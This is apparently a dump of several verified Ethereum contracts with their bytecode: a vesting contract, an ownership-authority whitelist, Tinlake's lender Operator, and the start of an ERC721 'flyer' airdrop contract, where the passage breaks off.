20746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610865610dc3565b6001600160a01b0316610876610b57565b6001600160a01b0316146108d1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b7f000000000000000000000000000000000000000000000000000000000000000161092d5760405162461bcd60e51b81526004018080602001828103825260238152602001806114736023913960400191505060405180910390fd5b6001600160a01b03811660009081526003602052604090205460ff16156109855760405162461bcd60e51b815260040180806020018281038252602b8152602001806114b7602b913960400191505060405180910390fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038416916370a0823191602480820192602092909190829003018186803b1580156109cf57600080fd5b505afa1580156109e3573d6000803e3d6000fd5b505050506040513d60208110156109f957600080fd5b505190506000610a0883610d3a565b90506000610a1c838363ffffffff610f9e16565b6001600160a01b0385166000908152600360205260409020805460ff191660011790559050610a63610a4c610b57565b6001600160a01b038616908363ffffffff610d6c16565b604080516001600160a01b038616815290517f68d870ac0aff3819234e8a1fc8f357b40d75212f2dc8594b97690fa205b3bab29181900360200190a150505050565b6004805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610b2b5780601f10610b0057610100808354040283529160200191610b2b565b820191906000526020600020905b815481529060010190602001808311610b0e57829003601f168201915b505050505081565b7f000000000000000000000000000000000000000000000000000000000000000190565b6000546001600160a01b031690565b6001600160a01b031660009081526002602052604090205490565b7f0000000000000000000000000000000000000000000000000000000060eaae6090565b610bad610dc3565b6001600160a01b0316610bbe610b57565b6001600160a01b031614610c19576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610c5e5760405162461bcd60e51b81526004018080602001828103825260268152602001806113c26026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526003602052604090205460ff1690565b600082820183811015610d31576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b6001600160a01b03811660009081526002602052604081205461057a90610d6084610dc7565b9063ffffffff610f9e16565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610dbe908490610ffb565b505050565b3390565b604080516370a0823160e01b8152306004820152905160009182916001600160a01b038516916370a08231916024808301926020929190829003018186803b158015610e1257600080fd5b505afa158015610e26573d6000803e3d6000fd5b505050506040513d6020811015610e3c57600080fd5b50516001600160a01b03841660009081526002602052604081205491925090610e6c90839063ffffffff610cd716565b90507f0000000000000000000000000000000000000000000000000000000060eaae60421015610ea15760009250505061057d565b610ef17f0000000000000000000000000000000000000000000000000000000060eaae607f00000000000000000000000000000000000000000000000000000000033e910063ffffffff610cd716565b42101580610f1757506001600160a01b03841660009081526003602052604090205460ff165b15610f2557915061057d9050565b610f957f00000000000000000000000000000000000000000000000000000000033e9100610f89610f7c427f0000000000000000000000000000000000000000000000000000000060eaae6063ffffffff610f9e16565b849063ffffffff6110ac16565b9063ffffffff61110516565b9250505061057d565b600082821115610ff5576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6060611050826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661116c9092919063ffffffff16565b805190915015610dbe5780806020019051602081101561106f57600080fd5b5051610dbe5760405162461bcd60e51b815260040180806020018281038252602a81526020018061159c602a913960400191505060405180910390fd5b6000826110bb57506000610d34565b828202828482816110c857fe5b0414610d315760405162461bcd60e51b81526004018080602001828103825260218152602001806114966021913960400191505060405180910390fd5b600080821161115b576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161116457fe5b049392505050565b606061117b8484600085611185565b90505b9392505050565b6060824710156111c65760405162461bcd60e51b815260040180806020018281038252602681526020018061144d6026913960400191505060405180910390fd5b6111cf856112e1565b611220576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b6020831061125f5780518252601f199092019160209182019101611240565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146112c1576040519150601f19603f3d011682016040523d82523d6000602084013e6112c6565b606091505b50915091506112d68282866112e7565b979650505050505050565b3b151590565b606083156112f657508161117e565b8251156113065782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611350578181015183820152602001611338565b50505050905090810190601f16801561137d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe546f6b656e56657374696e673a3a73657442656e65666963696172793a204e6f7420636f6e74726163742062656e65666963696172794f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373546f6b656e56657374696e673a3a72656c656173653a206e6f20746f6b656e732061726520647565546f6b656e56657374696e673a3a5f72656c65617365546f416464726573733a20726563656976657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c546f6b656e56657374696e673a3a7265766f6b653a2063616e6e6f74207265766f6b65536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e56657374696e673a3a7265766f6b653a20746f6b656e20616c7265616479207265766f6b6564546f6b656e56657374696e673a3a5f72656c65617365546f416464726573733a20616d6f756e742073686f756c642062652067726561746572207468616e2030546f6b656e56657374696e673a3a73657442656e65666963696172793a2053616d652062656e65666963696172792061646472657373206173206f6c64546f6b656e56657374696e673a3a5f72656c65617365546f416464726573733a20656e6f75676820746f6b656e73206e6f7420766573746564207965745361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564546f6b656e56657374696e673a3a5f72656c65617365546f416464726573733a206e6f20746f6b656e732061726520647565a2646970667358221220724f14d974e1ba9a7533b2df460593a30fd0b1eff0babb517a4292a8e6cd71ca64736f6c634300060b0033
[ 38 ]
0xf233bbd8f73fca654a84aee1462f0c54b7ffe2bd
// Verified by Darwinia Network // hevm: flattened sources of src/ObjectOwnershipAuthorityV4.sol pragma solidity >=0.6.7 <0.7.0; ////// src/ObjectOwnershipAuthorityV4.sol /* pragma solidity ^0.6.7; */ /** * @title ObjectOwnershipAuthority * @dev ObjectOwnershipAuthority is authority that manage ObjectOwnership. * difference between ObjectOwnershipAuthority whiteList: [$LANDBASE_PROXY,$APOSTLEBASE_PROXY,$ERC721BRIDGE_PROXY,$DRILLBASE_PROXY] ==> [$LANDBASE_PROXY,$APOSTLEBASE_PROXY,$ERC721BRIDGE_PROXY,$DRILLBASE_PROXY,$ITEMBASE_PROXY] */ contract ObjectOwnershipAuthorityV4 { mapping(address => bool) public whiteList; constructor(address[] memory _whitelists) public { for (uint256 i = 0; i < _whitelists.length; i++) { whiteList[_whitelists[i]] = true; } } function canCall( address _src, address, /* _dst */ bytes4 _sig ) public view returns (bool) { return (whiteList[_src] && _sig == bytes4(keccak256("mintObject(address,uint128)"))) || (whiteList[_src] && _sig == bytes4(keccak256("burnObject(address,uint128)"))) || (whiteList[_src] && _sig == bytes4(keccak256("mint(address,uint256)"))) || (whiteList[_src] && _sig == bytes4(keccak256("burn(address,uint256)"))); } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063372c12b11461003b578063b700961314610075575b600080fd5b6100616004803603602081101561005157600080fd5b50356001600160a01b03166100b6565b604080519115158252519081900360200190f35b6100616004803603606081101561008b57600080fd5b5080356001600160a01b0390811691602081013590911690604001356001600160e01b0319166100cb565b60006020819052908152604090205460ff1681565b6001600160a01b03831660009081526020819052604081205460ff1680156101305750604080517f6d696e744f626a65637428616464726573732c75696e743132382900000000008152905190819003601b0190206001600160e01b03198381169116145b8061019b57506001600160a01b03841660009081526020819052604090205460ff16801561019b5750604080517f6275726e4f626a65637428616464726573732c75696e743132382900000000008152905190819003601b0190206001600160e01b03198381169116145b806101fe57506001600160a01b03841660009081526020819052604090205460ff1680156101fe575060408051746d696e7428616464726573732c75696e743235362960581b815290519081900360150190206001600160e01b03198381169116145b8061026157506001600160a01b03841660009081526020819052604090205460ff168015610261575060408051746275726e28616464726573732c75696e743235362960581b815290519081900360150190206001600160e01b03198381169116145b94935050505056fea264697066735822122003581dc5b73141f13d7e7bcc03ab22d4ebede2ce3c5aa8d0245d3a0205324da864736f6c63430006070033
[ 38 ]
0xf234778f148a0bB483cC1508a5f7c3C5E445596E
// Verified using https://dapp.tools // hevm: flattened sources of src/lender/operator.sol // SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.5.15 >=0.6.12; ////// lib/tinlake-auth/src/auth.sol // Copyright (C) Centrifuge 2020, based on MakerDAO dss https://github.com/makerdao/dss /* pragma solidity >=0.5.15; */ contract Auth { mapping (address => uint256) public wards; event Rely(address indexed usr); event Deny(address indexed usr); function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } modifier auth { require(wards[msg.sender] == 1, "not-authorized"); _; } } ////// src/lender/operator.sol /* pragma solidity >=0.6.12; */ /* import "tinlake-auth/auth.sol"; */ interface TrancheLike_4 { function supplyOrder(address usr, uint currencyAmount) external; function redeemOrder(address usr, uint tokenAmount) external; function disburse(address usr) external returns (uint payoutCurrencyAmount, uint payoutTokenAmount, uint remainingSupplyCurrency, uint remainingRedeemToken); function disburse(address usr, uint endEpoch) external returns (uint payoutCurrencyAmount, uint payoutTokenAmount, uint remainingSupplyCurrency, uint remainingRedeemToken); function currency() external view returns (address); } interface RestrictedTokenLike { function hasMember(address) external view returns (bool); } interface EIP2612PermitLike { function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface DaiPermitLike { function permit(address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) external; } contract Operator is Auth { TrancheLike_4 public tranche; RestrictedTokenLike public token; // Events event SupplyOrder(uint indexed amount); event RedeemOrder(uint indexed amount); constructor(address tranche_) { wards[msg.sender] = 1; tranche = TrancheLike_4(tranche_); } // sets the dependency to another contract function depend(bytes32 contractName, address addr) public auth { if (contractName == "tranche") { tranche = TrancheLike_4(addr); } else if (contractName == "token") { token = RestrictedTokenLike(addr); } else revert(); } // only investors that are on the memberlist can submit supplyOrders function supplyOrder(uint amount) public { require((token.hasMember(msg.sender) == true), "user-not-allowed-to-hold-token"); tranche.supplyOrder(msg.sender, amount); emit SupplyOrder(amount); } // only investors that are on the memberlist can submit redeemOrders function redeemOrder(uint amount) public { require((token.hasMember(msg.sender) == true), "user-not-allowed-to-hold-token"); tranche.redeemOrder(msg.sender, amount); emit RedeemOrder(amount); } // only investors that are on the memberlist can disburse function disburse() external returns(uint payoutCurrencyAmount, uint payoutTokenAmount, uint remainingSupplyCurrency, uint remainingRedeemToken) { require((token.hasMember(msg.sender) == true), "user-not-allowed-to-hold-token"); return tranche.disburse(msg.sender); } function disburse(uint endEpoch) external returns(uint payoutCurrencyAmount, uint payoutTokenAmount, uint remainingSupplyCurrency, uint remainingRedeemToken) { require((token.hasMember(msg.sender) == true), "user-not-allowed-to-hold-token"); return tranche.disburse(msg.sender, endEpoch); } // --- Permit Support --- function supplyOrderWithDaiPermit(uint amount, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { DaiPermitLike(tranche.currency()).permit(msg.sender, address(tranche), nonce, expiry, true, v, r, s); supplyOrder(amount); } function supplyOrderWithPermit(uint amount, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) public { EIP2612PermitLike(tranche.currency()).permit(msg.sender, address(tranche), value, deadline, v, r, s); supplyOrder(amount); } function redeemOrderWithPermit(uint amount, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) public { EIP2612PermitLike(address(token)).permit(msg.sender, address(tranche), value, deadline, v, r, s); redeemOrder(amount); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80639c52a7f11161008c578063bf353dbb11610066578063bf353dbb1461035c578063f1e4c866146103b4578063fc0c546a146103e2578063ff2050ec14610416576100cf565b80639c52a7f11461028e578063abc6fd0b146102d2578063bd77ac2c14610305576100cf565b806322b2e1b5146100d45780634a58ca0e1461013757806354f3e0831461016557806365fae35e146101c85780636ebc0af11461020c5780639adc339d14610240575b600080fd5b610135600480360360c08110156100ea57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050610479565b005b6101636004803603602081101561014d57600080fd5b8101908080359060200190929190505050610623565b005b6101c6600480360360c081101561017b57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190803560ff169060200190929190803590602001909291908035906020019092919050505061083b565b005b61020a600480360360208110156101de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109da565b005b610214610b18565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61028c6004803603604081101561025657600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3e565b005b6102d0600480360360208110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cd8565b005b6102da610e16565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b6103316004803603602081101561031b57600080fd5b810190808035906020019092919050505061104b565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b61039e6004803603602081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611289565b6040518082815260200191505060405180910390f35b6103e0600480360360208110156103ca57600080fd5b81019080803590602001909291905050506112a1565b005b6103ea6114b9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610477600480360360c081101561042c57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190803560ff16906020019092919080359060200190929190803590602001909291905050506114df565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e5a6b10f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156104e157600080fd5b505afa1580156104f5573d6000803e3d6000fd5b505050506040513d602081101561050b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16638fcbaf0c33600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16888860018989896040518963ffffffff1660e01b8152600401808973ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff16815260200187815260200186815260200185151581526020018460ff16815260200183815260200182815260200198505050505050505050600060405180830381600087803b1580156105fa57600080fd5b505af115801561060e573d6000803e3d6000fd5b5050505061061b866112a1565b505050505050565b60011515600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166312d42835336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156106b057600080fd5b505afa1580156106c4573d6000803e3d6000fd5b505050506040513d60208110156106da57600080fd5b8101908080519060200190929190505050151514610760576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f757365722d6e6f742d616c6c6f7765642d746f2d686f6c642d746f6b656e000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632edd297633836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156107f357600080fd5b505af1158015610807573d6000803e3d6000fd5b50505050807f8def551943afb2eaf7e8ca49ec1290b5610ab481aace927b9d114cb5662aa18d60405160405180910390a250565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e5a6b10f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a357600080fd5b505afa1580156108b7573d6000803e3d6000fd5b505050506040513d60208110156108cd57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663d505accf33600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1688888888886040518863ffffffff1660e01b8152600401808873ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018460ff168152602001838152602001828152602001975050505050505050600060405180830381600087803b1580156109b157600080fd5b505af11580156109c5573d6000803e3d6000fd5b505050506109d2866112a1565b505050505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610a8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f6e6f742d617574686f72697a656400000000000000000000000000000000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610bf2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f6e6f742d617574686f72697a656400000000000000000000000000000000000081525060200191505060405180910390fd5b7f7472616e63686500000000000000000000000000000000000000000000000000821415610c605780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cd4565b7f746f6b656e000000000000000000000000000000000000000000000000000000821415610cce5780600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cd3565b600080fd5b5b5050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610d8c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f6e6f742d617574686f72697a656400000000000000000000000000000000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b60008060008060011515600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166312d42835336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ea957600080fd5b505afa158015610ebd573d6000803e3d6000fd5b505050506040513d6020811015610ed357600080fd5b8101908080519060200190929190505050151514610f59576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f757365722d6e6f742d616c6c6f7765642d746f2d686f6c642d746f6b656e000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631c8ce890336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050608060405180830381600087803b158015610fe457600080fd5b505af1158015610ff8573d6000803e3d6000fd5b505050506040513d608081101561100e57600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190505050935093509350935090919293565b60008060008060011515600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166312d42835336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156110de57600080fd5b505afa1580156110f2573d6000803e3d6000fd5b505050506040513d602081101561110857600080fd5b810190808051906020019092919050505015151461118e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f757365722d6e6f742d616c6c6f7765642d746f2d686f6c642d746f6b656e000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637f3bd56e33876040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050608060405180830381600087803b15801561122157600080fd5b505af1158015611235573d6000803e3d6000fd5b505050506040513d608081101561124b57600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919050505093509350935093509193509193565b60006020528060005260406000206000915090505481565b60011515600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166312d42835336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561132e57600080fd5b505afa158015611342573d6000803e3d6000fd5b505050506040513d602081101561135857600080fd5b81019080805190602001909291905050501515146113de576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f757365722d6e6f742d616c6c6f7765642d746f2d686f6c642d746f6b656e000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166374299b5a33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561147157600080fd5b505af1158015611485573d6000803e3d6000fd5b50505050807fb38c2219d1cfde4da30bfef43067cfea73cc650f5f7a6346b06893d6c1e93a4b60405160405180910390a250565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d505accf33600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1688888888886040518863ffffffff1660e01b8152600401808873ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018460ff168152602001838152602001828152602001975050505050505050600060405180830381600087803b1580156115d557600080fd5b505af11580156115e9573d6000803e3d6000fd5b505050506115f686610623565b50505050505056fea264697066735822122086bb3c85e8f885cbc48b5ba9b78541910646bc360e6394192c5add9df3470b6d64736f6c63430007060033
[ 38 ]
0xf236100dbec4029848039586791ca7508f8f8176
// SPDX-License-Identifier: MIT /** */ pragma solidity ^0.8.9; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function isContractOwner() public virtual returns (bool) { return (_owner == _msgSender()); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract Target721 { function ownerOf(uint256 tokenId) public view virtual returns (address); } /** * @title Gutter Punks Flyer contract. * @author The Gutter Punks team. * * @notice Airdrops a flyer to Invisible Friends holders. * */ contract ProjectPXN is Context, ERC165, IERC721, IERC721Metadata, Ownable { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; 